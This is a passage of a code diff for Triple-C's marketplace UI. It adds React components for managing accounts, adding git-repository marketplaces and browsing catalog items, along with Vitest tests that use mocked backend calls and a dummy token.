+        {accounts.map((a) => {
+          const users = usedBy(a.id);
+          const inUse = users.length > 0;
+          return (
+            <li
+              key={a.id}
+              className="flex items-center justify-between gap-2 p-2 rounded-[var(--radius-control)] border border-[var(--border-color)]"
+            >
+              <div className="min-w-0 text-xs">
+                <p className="font-medium">{a.label}</p>
+                <p className="text-[var(--text-secondary)]">
+                  {METHOD_LABEL[a.method]} · {a.host}
+                  {a.username ? ` · ${a.username}` : ""}
+                </p>
+                {inUse && <p className="text-[var(--text-secondary)]">Used by {users.join(", ")}</p>}
+              </div>
+              <div className="flex gap-1 flex-shrink-0">
+                <Button
+                  size="sm"
+                  variant="ghost"
+                  aria-label={`Test ${a.label}`}
+                  disabled={testing === a.id}
+                  onClick={() => void test(a)}
+                >
+                  {testing === a.id ? "Testing…" : "Test"}
+                </Button>
+                <Button
+                  size="sm"
+                  variant="ghost"
+                  aria-label={`Remove ${a.label}`}
+                  disabled={removing === a.id}
+                  unavailable={inUse}
+                  unavailableReason={`Used by ${users.join(", ")} — change or remove that marketplace first`}
+                  onClick={() => void remove(a)}
+                >
+                  Remove
+                </Button>
+              </div>
+            </li>
+          );
+        })}
+      </ul>
+      {adding && <AddAccountModal onClose={() => setAdding(false)} />}
+    </div>
+  );
+}

app/src/components/marketplace/AddAccountModal.test.tsx

@@ -0,0 +1,77 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { fireEvent, render, screen, waitFor } from "@testing-library/react";
+import { useAppState } from "../../store/appState";
+import type { Project } from "../../lib/types";
+
+const marketplaceGhHostAvailable = vi.fn();
+const addMarketplaceGhHostAccount = vi.fn();
+const addMarketplaceTokenAccount = vi.fn();
+const getSettings = vi.fn();
+vi.mock("../../lib/tauri-commands", () => ({
+  marketplaceGhHostAvailable: () => marketplaceGhHostAvailable(),
+  addMarketplaceGhHostAccount: (...a: unknown[]) => addMarketplaceGhHostAccount(...a),
+  addMarketplaceTokenAccount: (...a: unknown[]) => addMarketplaceTokenAccount(...a),
+  getSettings: () => getSettings(),
+}));
+vi.mock("./GhContainerLoginModal", () => ({
+  default: ({ projectId }: { projectId: string }) => <div>container login for {projectId}</div>,
+}));
+
+import AddAccountModal from "./AddAccountModal";
+
+const running = { id: "p1", name: "api", status: "running", container_id: "c1" } as unknown as Project;
+
+describe("AddAccountModal", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    getSettings.mockResolvedValue({ marketplace_accounts: [] });
+    useAppState.setState({ projects: [running], toasts: [] });
+  });
+
+  it("uses host gh when available", async () => {
+    marketplaceGhHostAvailable.mockResolvedValue(true);
+    addMarketplaceGhHostAccount.mockResolvedValue({ id: "a1" });
+    const onClose = vi.fn();
+    render(<AddAccountModal onClose={onClose} />);
+    expect(await screen.findByText(/gh is installed on this computer/)).toBeInTheDocument();
+    fireEvent.change(screen.getByLabelText("Label"), { target: { value: "Personal" } });
+    fireEvent.click(screen.getByRole("button", { name: "Add account" }));
+    await waitFor(() => expect(addMarketplaceGhHostAccount).toHaveBeenCalledWith("Personal", "github.com"));
+    await waitFor(() => expect(onClose).toHaveBeenCalled());
+  });
+
+  it("falls back to gh in a running container", async () => {
+    marketplaceGhHostAvailable.mockResolvedValue(false);
+    render(<AddAccountModal onClose={vi.fn()} />);
+    expect(await screen.findByLabelText("Run gh in")).toBeInTheDocument();
+    fireEvent.change(screen.getByLabelText("Label"), { target: { value: "Work" } });
+    fireEvent.click(screen.getByRole("button", { name: "Sign in" }));
+    expect(screen.getByText("container login for p1")).toBeInTheDocument();
+  });
+
+  it("adds a token account for any host", async () => {
+    marketplaceGhHostAvailable.mockResolvedValue(false);
+    addMarketplaceTokenAccount.mockResolvedValue({ id: "a2" });
+    render(<AddAccountModal onClose={vi.fn()} />);
+    fireEvent.click(await screen.findByRole("radio", { name: "Access token" }));
+    fireEvent.change(screen.getByLabelText("Label"), { target: { value: "Gitea" } });
+    fireEvent.change(screen.getByLabelText("Host"), { target: { value: "repo.anhonesthost.net" } });
+    fireEvent.change(screen.getByLabelText("Token"), { target: { value: "test-token-not-real" } });
+    fireEvent.click(screen.getByRole("button", { name: "Add account" }));
+    await waitFor(() =>
+      expect(addMarketplaceTokenAccount).toHaveBeenCalledWith("Gitea", "repo.anhonesthost.net", "test-token-not-real"),
+    );
+  });
+
+  it("shows a validation error from the backend", async () => {
+    marketplaceGhHostAvailable.mockResolvedValue(false);
+    addMarketplaceTokenAccount.mockRejectedValue("The token was rejected by repo.anhonesthost.net (HTTP 401)");
+    render(<AddAccountModal onClose={vi.fn()} />);
+    fireEvent.click(await screen.findByRole("radio", { name: "Access token" }));
+    fireEvent.change(screen.getByLabelText("Label"), { target: { value: "G" } });
+    fireEvent.change(screen.getByLabelText("Host"), { target: { value: "repo.anhonesthost.net" } });
+    fireEvent.change(screen.getByLabelText("Token"), { target: { value: "test-token-not-real" } });
+    fireEvent.click(screen.getByRole("button", { name: "Add account" }));
+    expect(await screen.findByText(/HTTP 401/)).toBeInTheDocument();
+  });
+});

app/src/components/marketplace/AddAccountModal.tsx

@@ -0,0 +1,190 @@
+import { useEffect, useState } from "react";
+import Modal from "../ui/Modal";
+import Button from "../ui/Button";
+import SegmentedControl from "../ui/SegmentedControl";
+import Field, { inputClass, selectClass } from "../ui/Field";
+import {
+  addMarketplaceGhHostAccount,
+  addMarketplaceTokenAccount,
+  getSettings,
+  marketplaceGhHostAvailable,
+} from "../../lib/tauri-commands";
+import { useAppState } from "../../store/appState";
+import GhContainerLoginModal from "./GhContainerLoginModal";
+
+type Method = "gh" | "token";
+
+interface Props {
+  onClose: () => void;
+}
+
+export default function AddAccountModal({ onClose }: Props) {
+  const projects = useAppState((s) => s.projects);
+  const setAppSettings = useAppState((s) => s.setAppSettings);
+  const runnable = projects.filter((p) => p.status === "running" && p.container_id);
+
+  const [method, setMethod] = useState<Method>("gh");
+  const [hostGh, setHostGh] = useState<boolean | null>(null);
+  const [label, setLabel] = useState("");
+  const [host, setHost] = useState("github.com");
+  const [token, setToken] = useState("");
+  const [projectId, setProjectId] = useState(runnable[0]?.id ?? "");
+  const [busy, setBusy] = useState(false);
+  const [error, setError] = useState<string | null>(null);
+  const [containerLogin, setContainerLogin] = useState(false);
+
+  useEffect(() => {
+    let cancelled = false;
+    marketplaceGhHostAvailable()
+      .then((v) => {
+        if (!cancelled) setHostGh(v);
+      })
+      .catch(() => {
+        if (!cancelled) setHostGh(false);
+      });
+    return () => {
+      cancelled = true;
+    };
+  }, []);
+
+  const reloadSettings = async () => setAppSettings(await getSettings());
+
+  const finish = async () => {
+    await reloadSettings();
+    onClose();
+  };
+
+  const submit = async () => {
+    setError(null);
+    if (method === "gh" && !hostGh) {
+      setContainerLogin(true);
+      return;
+    }
+    setBusy(true);
+    try {
+      if (method === "gh") {
+        await addMarketplaceGhHostAccount(label.trim(), host.trim());
+      } else {
+        const t = token.trim();
+        setToken("");
+        await addMarketplaceTokenAccount(label.trim(), host.trim(), t);
+      }
+      await finish();
+    } catch (e) {
+      setError(typeof e === "string" ? e : String(e));
+    } finally {
+      setBusy(false);
+    }
+  };
+
+  const hostValid = /^[A-Za-z0-9.-]+(:[0-9]+)?$/.test(host.trim());
+  const needsContainer = method === "gh" && hostGh === false;
+  const canSubmit =
+    !busy &&
+    hostGh !== null &&
+    label.trim() !== "" &&
+    hostValid &&
+    (method === "gh" ? !needsContainer || projectId !== "" : token.trim() !== "");
+
+  if (containerLogin) {
+    const project = runnable.find((p) => p.id === projectId);
+    return (
+      <GhContainerLoginModal
+        label={label.trim()}
+        host={host.trim()}
+        projectId={projectId}
+        projectName={project?.name ?? projectId}
+        onClose={onClose}
+        onDone={() => void finish()}
+      />
+    );
+  }
+
+  return (
+    <Modal
+      title="Add account"
+      description="Accounts let Triple-C read private marketplace repositories. Credentials stay on this computer and never enter containers."
+      widthClassName="w-[36rem]"
+      dismissible={!busy}
+      onClose={onClose}
+      footer={
+        <>
+          <Button size="md" variant="ghost" onClick={onClose} disabled={busy}>
+            Cancel
+          </Button>
+          <Button size="md" variant="primary" onClick={() => void submit()} disabled={!canSubmit}>
+            {needsContainer ? "Sign in" : busy ? "Checking…" : "Add account"}
+          </Button>
+        </>
+      }
+    >
+      <div className="space-y-3">
+        <SegmentedControl<Method>
+          label="Sign-in method"
+          value={method}
+          onChange={(m) => {
+            setMethod(m);
+            setError(null);
+          }}
+          segments={[
+            { value: "gh", label: "GitHub via gh" },
+            { value: "token", label: "Access token" },
+          ]}
+        />
+        <Field label="Label">
+          {(id) => (
+            <input id={id} value={label} onChange={(e) => setLabel(e.target.value)} className={inputClass} placeholder="Work GitHub" />
+          )}
+        </Field>
+        <Field label="Host" hint={hostValid ? undefined : "Host name only, e.g. github.com or repo.example.com"}>
+          {(id) => <input id={id} value={host} onChange={(e) => setHost(e.target.value)} className={inputClass} />}
+        </Field>
+        {method === "gh" && hostGh === true && (
+          <p className="text-xs text-[var(--text-secondary)]">
+            gh is installed on this computer. Triple-C asks it for a token each time it fetches, so signing out of gh
+            also signs this account out. If gh is not logged in yet, run <code className="font-mono">gh auth login</code> first.
+          </p>
+        )}
+        {needsContainer &&
+          (runnable.length === 0 ? (
+            <p className="text-xs text-[var(--warning)]">
+              gh is not installed on this computer. Start a project so gh can run in its container, or use an access token.
+            </p>
+          ) : (
+            <Field
+              label="Run gh in"
+              hint="gh is not installed on this computer, so the sign-in runs in this container. The token is kept in your OS keychain, not in the container."
+            >
+              {(id) => (
+                <select id={id} value={projectId} onChange={(e) => setProjectId(e.target.value)} className={selectClass}>
+                  {runnable.map((p) => (
+                    <option key={p.id} value={p.id}>
+                      {p.name}
+                    </option>
+                  ))}
+                </select>
+              )}
+            </Field>
+          ))}
+        {method === "token" && (
+          <Field
+            label="Token"
+            hint="A personal access token with read access to the repository. For GitHub SSO orgs, authorise the token for the org."
+          >
+            {(id) => (
+              <input
+                id={id}
+                type="password"
+                autoComplete="off"
+                value={token}
+                onChange={(e) => setToken(e.target.value)}
+                className={inputClass}
+              />
+            )}
+          </Field>
+        )}
+        {error && <p role="alert" className="text-xs text-[var(--error)] whitespace-pre-wrap">{error}</p>}
+      </div>
+    </Modal>
+  );
+}

app/src/components/marketplace/AddMarketplaceModal.test.tsx

@@ -0,0 +1,54 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { fireEvent, render, screen, waitFor } from "@testing-library/react";
+import { useAppState } from "../../store/appState";
+import type { AppSettings } from "../../lib/types";
+
+const addMarketplace = vi.fn();
+vi.mock("../../lib/tauri-commands", () => ({
+  addMarketplace: (...a: unknown[]) => addMarketplace(...a),
+}));
+
+import AddMarketplaceModal from "./AddMarketplaceModal";
+
+describe("AddMarketplaceModal", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    useAppState.setState({
+      appSettings: {
+        marketplace_accounts: [{ id: "acc1", label: "Work", host: "github.com", method: "token", username: "me" }],
+        marketplaces: [],
+        global_marketplace_installs: [],
+      } as unknown as AppSettings,
+    });
+  });
+
+  it("submits name, url, branch and account", async () => {
+    const onAdded = vi.fn();
+    addMarketplace.mockResolvedValue({ marketplace_id: "m1", head_commit: null, fetched_at: null, fetch_error: null, items: [] });
+    render(<AddMarketplaceModal onClose={vi.fn()} onAdded={onAdded} />);
+    fireEvent.change(screen.getByLabelText("Name"), { target: { value: "Starter" } });
+    fireEvent.change(screen.getByLabelText("Repository URL"), { target: { value: "https://github.com/shadowdao/triple-c-marketplace.git" } });
+    fireEvent.change(screen.getByLabelText("Branch"), { target: { value: "" } });
+    fireEvent.change(screen.getByLabelText("Account"), { target: { value: "acc1" } });
+    fireEvent.click(screen.getByRole("button", { name: "Add marketplace" }));
+    await waitFor(() => expect(onAdded).toHaveBeenCalled());
+    expect(addMarketplace).toHaveBeenCalledWith("Starter", "https://github.com/shadowdao/triple-c-marketplace.git", null, "acc1");
+  });
+
+  it("rejects non-https URLs before calling the backend", () => {
+    render(<AddMarketplaceModal onClose={vi.fn()} onAdded={vi.fn()} />);
+    fireEvent.change(screen.getByLabelText("Name"), { target: { value: "x" } });
+    fireEvent.change(screen.getByLabelText("Repository URL"), { target: { value: "git@github.com:a/b.git" } });
+    expect(screen.getByRole("button", { name: "Add marketplace" })).toBeDisabled();
+    expect(screen.getByText(/must start with https:\/\//)).toBeInTheDocument();
+  });
+
+  it("shows the backend error and stays open", async () => {
+    addMarketplace.mockRejectedValue("Work cannot read this repository (HTTP 404)");
+    render(<AddMarketplaceModal onClose={vi.fn()} onAdded={vi.fn()} />);
+    fireEvent.change(screen.getByLabelText("Name"), { target: { value: "x" } });
+    fireEvent.change(screen.getByLabelText("Repository URL"), { target: { value: "https://github.com/a/b.git" } });
+    fireEvent.click(screen.getByRole("button", { name: "Add marketplace" }));
+    expect(await screen.findByText(/HTTP 404/)).toBeInTheDocument();
+  });
+});

app/src/components/marketplace/AddMarketplaceModal.tsx

@@ -0,0 +1,104 @@
+import { useState } from "react";
+import Modal from "../ui/Modal";
+import Button from "../ui/Button";
+import Field, { inputClass, selectClass } from "../ui/Field";
+import { addMarketplace } from "../../lib/tauri-commands";
+import { useAppState } from "../../store/appState";
+import type { MarketplaceSnapshot } from "../../lib/types";
+
+interface Props {
+  onClose: () => void;
+  onAdded: (snapshot: MarketplaceSnapshot) => void;
+}
+
+export default function AddMarketplaceModal({ onClose, onAdded }: Props) {
+  const accounts = useAppState((s) => s.appSettings?.marketplace_accounts ?? []);
+  const [name, setName] = useState("");
+  const [url, setUrl] = useState("");
+  const [branch, setBranch] = useState("");
+  const [accountId, setAccountId] = useState("");
+  const [busy, setBusy] = useState(false);
+  const [error, setError] = useState<string | null>(null);
+
+  const trimmedUrl = url.trim();
+  const urlProblem =
+    trimmedUrl !== "" && !trimmedUrl.startsWith("https://")
+      ? "The repository URL must start with https:// (SSH URLs are not supported)."
+      : null;
+  const canSubmit = name.trim() !== "" && trimmedUrl !== "" && !urlProblem && !busy;
+
+  const submit = async () => {
+    setBusy(true);
+    setError(null);
+    try {
+      const snap = await addMarketplace(
+        name.trim(),
+        trimmedUrl,
+        branch.trim() === "" ? null : branch.trim(),
+        accountId === "" ? null : accountId,
+      );
+      onAdded(snap);
+      onClose();
+    } catch (e) {
+      setError(typeof e === "string" ? e : String(e));
+    } finally {
+      setBusy(false);
+    }
+  };
+
+  return (
+    <Modal
+      title="Add marketplace"
+      description="Triple-C fetches the repository now to check it can be read. Nothing is saved if that fails."
+      widthClassName="w-[36rem]"
+      dismissible={!busy}
+      onClose={onClose}
+      footer={
+        <>
+          <Button size="md" variant="ghost" onClick={onClose} disabled={busy}>
+            Cancel
+          </Button>
+          <Button size="md" variant="primary" onClick={() => void submit()} disabled={!canSubmit}>
+            {busy ? "Checking…" : "Add marketplace"}
+          </Button>
+        </>
+      }
+    >
+      <div className="space-y-3">
+        <Field label="Name">
+          {(id) => (
+            <input id={id} value={name} onChange={(e) => setName(e.target.value)} className={inputClass} placeholder="Team marketplace" />
+          )}
+        </Field>
+        <Field label="Repository URL" hint={urlProblem ?? "HTTPS clone URL, e.g. https://github.com/owner/repo.git"}>
+          {(id) => (
+            <input id={id} value={url} onChange={(e) => setUrl(e.target.value)} className={inputClass} placeholder="https://github.com/owner/repo.git" />
+          )}
+        </Field>
+        <Field label="Branch" hint="Leave empty to use the repository's default branch.">
+          {(id) => (
+            <input id={id} value={branch} onChange={(e) => setBranch(e.target.value)} className={inputClass} placeholder="main" />
+          )}
+        </Field>
+        <Field label="Account" hint="Needed for private repositories. Add accounts on the Accounts tab.">
+          {(id) => (
+            <select id={id} value={accountId} onChange={(e) => setAccountId(e.target.value)} className={selectClass}>
+              <option value="">None (public repository)</option>
+              {accounts.map((a) => (
+                <option key={a.id} value={a.id}>
+                  {a.label} — {a.host}
+                  {a.username ? ` (${a.username})` : ""}
+                </option>
+              ))}
+            </select>
+          )}
+        </Field>
+        {error && (
+          <p role="alert" className="text-xs text-[var(--error)] whitespace-pre-wrap leading-snug">
+            {error}
+          </p>
+        )}
+      </div>
+    </Modal>
+  );
+}

app/src/components/marketplace/BrowsePane.test.tsx

@@ -0,0 +1,172 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { fireEvent, render, screen, waitFor } from "@testing-library/react";
+import { useAppState } from "../../store/appState";
+import type { AppSettings, CatalogItem, MarketplaceSnapshot } from "../../lib/types";
+import type { MarketplaceApi } from "../../hooks/useMarketplace";
+
+vi.mock("./InstallControls", () => ({
+  default: ({ headCommit }: { headCommit: string | null }) => <div>install controls at {headCommit}</div>,
+}));
+vi.mock("./AddMarketplaceModal", () => ({ default: () => <div>add modal</div> }));
+const updateMarketplace = vi.fn();
+vi.mock("../../lib/tauri-commands", () => ({
+  updateMarketplace: (m: unknown) => updateMarketplace(m),
+}));
+
+import BrowsePane from "./BrowsePane";
+
+const it_ = (kind: CatalogItem["kind"], key: string, patch: Partial<CatalogItem> = {}): CatalogItem => ({
+  kind,
+  key,
+  name: key,
+  description: `${key} description`,
+  path: key,
+  invalid: null,
+  hook_commands: [],
+  plugin_components: [],
+  preview: `${key} preview body`,
+  ...patch,
+});
+
+const snapshot: MarketplaceSnapshot = {
+  marketplace_id: "m1",
+  head_commit: "a".repeat(40),
+  fetched_at: "2026-09-27T12:00:00Z",
+  fetch_error: "network unreachable",
+  items: [it_("agent", "code-reviewer"), it_("hook", "notify-on-stop"), it_("skill", "broken", { invalid: "SKILL.md missing" })],
+};
+
+function api(patch: Partial<MarketplaceApi> = {}): MarketplaceApi {
+  return {
+    snapshots: [snapshot],
+    updates: [],
+    loading: false,
+    refreshing: [],
+    load: vi.fn(),
+    refresh: vi.fn(),
+    reloadState: vi.fn(),
+    install: vi.fn(),
+    uninstall: vi.fn(),
+    setDisabled: vi.fn(),
+    update: vi.fn(),
+    forget: vi.fn(),
+    remove: vi.fn(async () => true),
+    ...patch,
+  };
+}
+
+describe("BrowsePane", () => {
+  beforeEach(() => {
+    useAppState.setState({
+      appSettings: {
+        marketplaces: [{ id: "m1", name: "Starter", url: "https://github.com/s/m.git", branch: null, account_id: null }],
+        marketplace_accounts: [],
+        global_marketplace_installs: [],
+      } as unknown as AppSettings,
+      projects: [],
+      marketplaceFilterProjectId: null,
+    });
+  });
+
+  it("lists items, filters by kind and search, and shows detail", () => {
+    render(<BrowsePane mp={api()} />);
+    expect(screen.getByText("network unreachable")).toBeInTheDocument();
+    expect(screen.getByRole("button", { name: /code-reviewer/ })).toBeInTheDocument();
+    expect(screen.getByRole("button", { name: /notify-on-stop/ })).toBeInTheDocument();
+
+    fireEvent.click(screen.getByRole("radio", { name: "Hooks" }));
+    expect(screen.queryByRole("button", { name: /code-reviewer/ })).not.toBeInTheDocument();
+
+    fireEvent.click(screen.getByRole("radio", { name: "All" }));
+    fireEvent.change(screen.getByLabelText("Search items"), { target: { value: "review" } });
+    expect(screen.queryByRole("button", { name: /notify-on-stop/ })).not.toBeInTheDocument();
+
+    fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ }));
+    expect(screen.getByText("code-reviewer preview body")).toBeInTheDocument();
+    expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument();
+  });
+
+  it("I2: installs pin the head the shown item was read at, not a later one", () => {
+    const mp = api();
+    const { rerender } = render(<BrowsePane mp={mp} />);
+    fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ }));
+    rerender(<BrowsePane mp={{ ...mp, snapshots: [{ ...snapshot, head_commit: "b".repeat(40) }] }} />);
+    expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument();
+  });
+
+  it("lets the kind filter wrap instead of running out of its column", () => {
+    // All + five kinds are wider than the fixed-width item column.
+    render(<BrowsePane mp={api()} />);
+    expect(screen.getByRole("radiogroup", { name: "Item kind" })).toHaveClass("flex-wrap");
+  });
+
+  it("shows why an item is invalid", () => {
+    render(<BrowsePane mp={api()} />);
+    fireEvent.click(screen.getByRole("button", { name: /broken/ }));
+    expect(screen.getByText("SKILL.md missing")).toBeInTheDocument();
+  });
+
+  describe("PR review #7: changing a marketplace's account", () => {
+    const withAccount = () =>
+      useAppState.setState({
+        toasts: [],
+        appSettings: {
+          marketplaces: [{ id: "m1", name: "Starter", url: "https://github.com/s/m.git", branch: null, account_id: null }],
+          marketplace_accounts: [{ id: "a1", label: "Work", host: "gitlab.com", method: "token", username: null }],
+          global_marketplace_installs: [],
+        } as unknown as AppSettings,
+      });
+
+    it("toasts a refused change instead of leaving it unhandled", async () => {
+      withAccount();
+      updateMarketplace.mockRejectedValueOnce("The account \"Work\" is for gitlab.com, but this marketplace is on github.com.");
+      const mp = api();
+      render(<BrowsePane mp={mp} />);
+      fireEvent.change(screen.getByLabelText("Account for Starter"), { target: { value: "a1" } });
+      await waitFor(() => expect(useAppState.getState().toasts).toHaveLength(1));
+      const toast = useAppState.getState().toasts[0];
+      expect(toast.kind).toBe("error");
+      expect(toast.detail).toContain("is for gitlab.com");
+      expect(mp.refresh).not.toHaveBeenCalled();
+    });
+
+    it("refreshes the marketplace after a successful change", async () => {
+      withAccount();
+      updateMarketplace.mockResolvedValueOnce({});
+      const mp = api();
+      render(<BrowsePane mp={mp} />);
+      fireEvent.change(screen.getByLabelText("Account for Starter"), { target: { value: "a1" } });
+      await waitFor(() => expect(mp.refresh).toHaveBeenCalledWith("m1"));
+      expect(updateMarketplace).toHaveBeenCalledWith(expect.objectContaining({ id: "m1", account_id: "a1" }));
+      expect(mp.reloadState).toHaveBeenCalled();
+      expect(useAppState.getState().toasts).toHaveLength(0);
+    });
+  });
+
+  it("refreshes one marketplace", () => {
+    const mp = api();
+    render(<BrowsePane mp={mp} />);
+    fireEvent.click(screen.getByRole("button", { name: "Refresh Starter" }));
+    expect(mp.refresh).toHaveBeenCalledWith("m1");
+  });
+
+  it("offers Add when there are no marketplaces", () => {
+    useAppState.setState({
+      appSettings: { marketplaces: [], marketplace_accounts: [], global_marketplace_installs: [] } as unknown as AppSettings,
+    });
+    render(<BrowsePane mp={api({ snapshots: [] })} />);
+    fireEvent.click(screen.getByRole("button", { name: "Add marketplace" }));
+    expect(screen.getByText("add modal")).toBeInTheDocument();
+  });
+
+  it("confirms before removing a marketplace (F6)", () => {
+    const mp = api();
+    render(<BrowsePane mp={mp} />);
+    fireEvent.click(screen.getByRole("button", { name: "Remove Starter" }));
+    expect(screen.getByText(/Source removed/)).toBeInTheDocument();
+    expect(screen.getByText(/Forget/)).toBeInTheDocument();
+    expect(mp.remove).not.toHaveBeenCalled();
+    fireEvent.click(screen.getByRole("button", { name: "Remove marketplace" }));
+    expect(mp.remove).toHaveBeenCalledWith("m1");
+  });
+});

app/src/components/marketplace/BrowsePane.tsx

@@ -0,0 +1,277 @@
+import { useMemo, useState } from "react";
+import type { MarketplaceApi } from "../../hooks/useMarketplace";
+import { useAppState } from "../../store/appState";
+import { KIND_LABELS, KIND_ORDER, itemRefKey } from "../../lib/marketplace";
+import { updateMarketplace } from "../../lib/tauri-commands";
+import type { CatalogItem, ItemKind, Marketplace } from "../../lib/types";
+import Button from "../ui/Button";
+import Modal from "../ui/Modal";
+import SegmentedControl from "../ui/SegmentedControl";
+import { inputClass, selectClass } from "../ui/Field";
+import AddMarketplaceModal from "./AddMarketplaceModal";
+import ItemDetail from "./ItemDetail";
+
+type KindFilter = ItemKind | "all";
+
+const when = (iso: string | null) => (iso ? new Date(iso).toLocaleString() : "never");
+
+function errorText(e: unknown): string {
+  return typeof e === "string" ? e : e instanceof Error ? e.message : String(e);
+}
+
+export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
+  const marketplaces = useAppState((s) => s.appSettings?.marketplaces ?? []);
+  const accounts = useAppState((s) => s.appSettings?.marketplace_accounts ?? []);
+  const globalInstalls = useAppState((s) => s.appSettings?.global_marketplace_installs ?? []);
+  const projects = useAppState((s) => s.projects);
+  const filterId = useAppState((s) => s.marketplaceFilterProjectId);
+  const setFilterId = useAppState((s) => s.setMarketplaceFilterProjectId);
+  const pushToast = useAppState((s) => s.pushToast);
+  const [kind, setKind] = useState<KindFilter>("all");
+  const [query, setQuery] = useState("");
+  // The item is kept as it was read, with the head it was read at: an
+  // install pins exactly what the detail pane shows (final review I2).
+  const [selected, setSelected] = useState<{
+    marketplaceId: string;
+    item: CatalogItem;
+    headCommit: string | null;
+  } | null>(null);
+  const [adding, setAdding] = useState(false);
+  const [removing, setRemoving] = useState<Marketplace | null>(null);
+
+  const rows = useMemo(() => {
+    const q = query.trim().toLowerCase();
+    return mp.snapshots.flatMap((snap) =>
+      snap.items
+        .filter((i) => kind === "all" || i.kind === kind)
+        .filter((i) => q === "" || `${i.name} ${i.key} ${i.description}`.toLowerCase().includes(q))
+        .sort((a, b) => KIND_ORDER.indexOf(a.kind) - KIND_ORDER.indexOf(b.kind) || a.name.localeCompare(b.name))
+        .map((item) => ({ marketplaceId: snap.marketplace_id, item, headCommit: snap.head_commit })),
+    );
+  }, [mp.snapshots, kind, query]);
+
+  const nameOf = (id: string) => marketplaces.find((m) => m.id === id)?.name ?? id;
+
+  /** A refused change (e.g. an account for another host) is toasted; a saved
+   *  one is fetched with the new account so its old fetch error goes away. */
+  const changeAccount = async (m: Marketplace, accountId: string | null) => {
+    try {
+      await updateMarketplace({ ...m, account_id: accountId });
+    } catch (e) {
+      pushToast({ kind: "error", message: `Could not change the account for ${m.name}`, detail: errorText(e) });
+      return;
+    }
+    try {
+      await mp.reloadState();
+    } catch (e) {
+      console.error("Failed to reload after changing a marketplace account:", e);
+    }
+    await mp.refresh(m.id);
+  };
+
+  /** Global + every project's installs of this marketplace, for the removal warning. */
+  const installCountFor = (marketplaceId: string) => {
+    const global = globalInstalls.filter((i) => i.marketplace_id === marketplaceId).length;
+    const perProject = projects.reduce(
+      (sum, p) => sum + p.marketplace_installs.filter((i) => i.marketplace_id === marketplaceId).length,
+      0,
+    );
+    return global + perProject;
+  };
+
+  return (
+    <div className="flex h-full min-h-0">
+      <aside className="w-64 flex-shrink-0 border-r border-[var(--border-color)] p-3 space-y-3 overflow-auto">
+        <div className="flex items-center justify-between">
+          <h2 className="text-xs font-medium">Marketplaces</h2>
+          <Button size="sm" variant="secondary" onClick={() => setAdding(true)}>
+            Add marketplace
+          </Button>
+        </div>
+        {marketplaces.length === 0 && (
+          <p className="text-xs text-[var(--text-secondary)]">No marketplaces yet. Add a git repository to browse its items.</p>
+        )}
+        {marketplaces.map((m) => {
+          const snap = mp.snapshots.find((s) => s.marketplace_id === m.id);
+          const refreshing = mp.refreshing.includes(m.id);
+          return (
+            <div key={m.id} className="space-y-1 text-xs">
+              <div className="flex items-center justify-between gap-2">
+                <span className="font-medium truncate" title={m.url}>
+                  {m.name}
+                </span>
+                <div className="flex items-center gap-1 flex-shrink-0">
+                  <Button
+                    size="sm"
+                    variant="ghost"
+                    aria-label={`Refresh ${m.name}`}
+                    disabled={refreshing}
+                    onClick={() => void mp.refresh(m.id)}
+                  >
+                    {refreshing ? "…" : "↻"}
+                  </Button>
+                  <Button
+                    size="sm"
+                    variant="ghost"
+                    aria-label={`Remove ${m.name}`}
+                    onClick={() => setRemoving(m)}
+                  >
+                    Remove
+                  </Button>
+                </div>
+              </div>
+              {accounts.length > 0 ? (
+                <label className="flex items-center gap-1 text-[var(--text-secondary)]">
+                  <span>Account</span>
+                  <select
+                    aria-label={`Account for ${m.name}`}
+                    value={m.account_id ?? ""}
+                    onChange={(e) => void changeAccount(m, e.target.value === "" ? null : e.target.value)}
+                    className={selectClass}
+                  >
+                    <option value="">None (public)</option>
+                    {accounts.map((a) => (
+                      <option key={a.id} value={a.id}>
+                        {a.label}
+                      </option>
+                    ))}
+                  </select>
+                </label>
+              ) : (
+                <p className="text-[var(--text-secondary)]">No account (public repository)</p>
+              )}
+              <p className="text-[var(--text-secondary)]">Last fetched {when(snap?.fetched_at ?? null)}</p>
+              {snap?.fetch_error && (
+                <p className="text-[var(--error)] whitespace-pre-wrap leading-snug">{snap.fetch_error}</p>
+              )}
+            </div>
+          );
+        })}
+        {projects.length > 0 && (
+          <label className="block text-xs space-y-1">
+            <span className="text-[var(--text-secondary)]">Show install state for</span>
+            <select
+              value={filterId ?? ""}
+              onChange={(e) => setFilterId(e.target.value === "" ? null : e.target.value)}
+              className={selectClass}
+            >
+              <option value="">All projects</option>
+              {projects.map((p) => (
+                <option key={p.id} value={p.id}>
+                  {p.name}
+                </option>
+              ))}
+            </select>
+          </label>
+        )}
+      </aside>
+
+      <section className="w-80 flex-shrink-0 border-r border-[var(--border-color)] p-3 space-y-2 overflow-auto">
+        <SegmentedControl<KindFilter>
+          label="Item kind"
+          className="flex-wrap"
+          value={kind}
+          onChange={setKind}
+          segments={[
+            { value: "all", label: "All" },
+            ...KIND_ORDER.map((k) => ({ value: k as KindFilter, label: KIND_LABELS[k] })),
+          ]}
+        />
+        <input
+          aria-label="Search items"
+          value={query}
+          onChange={(e) => setQuery(e.target.value)}
+          placeholder="Search"
+          className={inputClass}
+        />
+        <ul className="space-y-1">
+          {rows.map(({ marketplaceId, item, headCommit }) => {
+            const key = itemRefKey({ marketplace_id: marketplaceId, kind: item.kind, key: item.key });
+            const isSel =
+              selected?.marketplaceId === marketplaceId &&
+              selected.item.kind === item.kind &&
+              selected.item.key === item.key;
+            return (
+              <li key={key}>
+                <button
+                  type="button"
+                  onClick={() => setSelected({ marketplaceId, item, headCommit })}
+                  className={`w-full text-left px-2 py-1.5 rounded-[var(--radius-control)] text-xs ${
+                    isSel ? "bg-[var(--bg-tertiary)]" : "hover:bg-[var(--bg-tertiary)]"
+                  }`}
+                >
+                  <span className="font-medium">{item.name}</span>
+                  <span className="ml-1 text-[var(--text-secondary)]">{KIND_LABELS[item.kind].replace(/s$/, "").toLowerCase()}</span>
